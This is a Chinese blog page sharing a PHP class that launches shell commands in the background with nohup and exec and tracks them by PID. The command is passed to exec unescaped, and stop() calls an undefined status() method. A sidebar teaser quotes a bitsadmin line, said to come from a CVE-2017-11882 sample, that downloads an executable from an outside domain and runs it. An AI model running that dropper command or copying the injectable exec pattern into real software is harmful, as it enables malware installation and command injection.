文档章节

PHP后台运行命令并管理运行程序

c
 colin_86
发布于 07/20 00:13
字数 192
阅读 4
收藏 0
PHP

 php后台运行命令并管理后台运行程序

class ProcessModel{
    private $pid;
    private $command;
    private $resultToFile = '';

    public function __construct($cl=false){
        if ($cl != false){
            $this->command = $cl;
        }
    }
    
    public function runCom($cl=false){
        if($cl) {
            $this->resultToFile = md5($cl);
            $this->command = $cl;
            $command = 'nohup '.$cl.' 1>/tmp/'.$this->resultToFile.'_http_proess.txt & echo $! 2>&1';
            exec($command ,$op);
            $this->pid = (int)$op[0];
            return $this->pid;
        }else{
            return 0;
        }
    }

    public function setPid($pid){
        $this->pid = $pid;
    }

    public function getPid(){
        return $this->pid;
    }
    
    public function getContent() {
        $command = 'cat /tmp/'.md5($this->command).'_http_proess.txt';
        exec($command ,$op);
        if(is_array($op)) {
            $op = implode("\n", $op);
        }
        
        return $op;
    }

    public function isRuning(){
        $command = 'ps -p '.$this->pid;
        exec($command,$op);
        if (!isset($op[1])) {
            return false;
        }else{
            return true;
        }
    }

    public function stop(){
        $command = 'kill '.$this->pid;
        exec($command);
        if ($this->status() == false){
            return true;
        }else{
            return false;
        }
    }
}

 

© 著作权归作者所有

共有 人打赏支持
c
粉丝 2
博文 149
码字总数 22702
作品 0
成都
高级程序员
Shell jobs 任务管理

在一个 tty 里,我们可以运行多个任务,并切换激活不同的任务到前台。注意,任务管理仅限于同一个 tty 执行的任务。 状态 Running 运行中 Stopped 已暂停 Done 执行完毕 & 在一个命令后添加 ...

傅易
2016/11/20
106
0
使用nohup让程序在远程主机后台运行

因为我购买的一个国外主机居然开放了Telnet权限,因此我也使用Telnet登录上去玩玩Linux,但发现一关闭窗口就自动和主机断开了,和Windows的终端不一样,所以就上网找啊找,找到了一个从后台一...

laymanxia
2015/06/28
0
0
Linux下使Shell 命令脱离终端在后台运行

你是否遇到过这样的情况:从终端软件登录远程的Linux主机,将一堆很大的文件压缩为一个.tar.gz文件,连续压缩了半个小时还没有完成,这时,突然你断网了,你登录不上远程Linux主机了,那么前...

WolfX
2016/04/08
143
0
[喵咪Liunx(1)]计划任务队列脚本后台进程Supervisor帮你搞定

哈喽大家好啊,好久不见啊(都快一个月了),要问为什么没有更新博客呢只应为最近在录制PhalApi的视频教程时间比较少,作为弥补那么为大家带来一点干货Supervisor,话不多说那么就开始今天的分享把...

喵了_个咪
2016/04/24
815
0
建站系统--qtCMS

qtCMS 是基于 Thinkphp 框架的 CMS 建站系统。 模块说明: Admin模块:CMS后台管理。 Install模块:CMS安装程序。 Theme模块:前台页面系统程序。 ### 使用说明: qtCMS放入php环境,运行htt...

Jack_Q
2015/12/14
1K
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
6分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
19分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
21分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
32分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部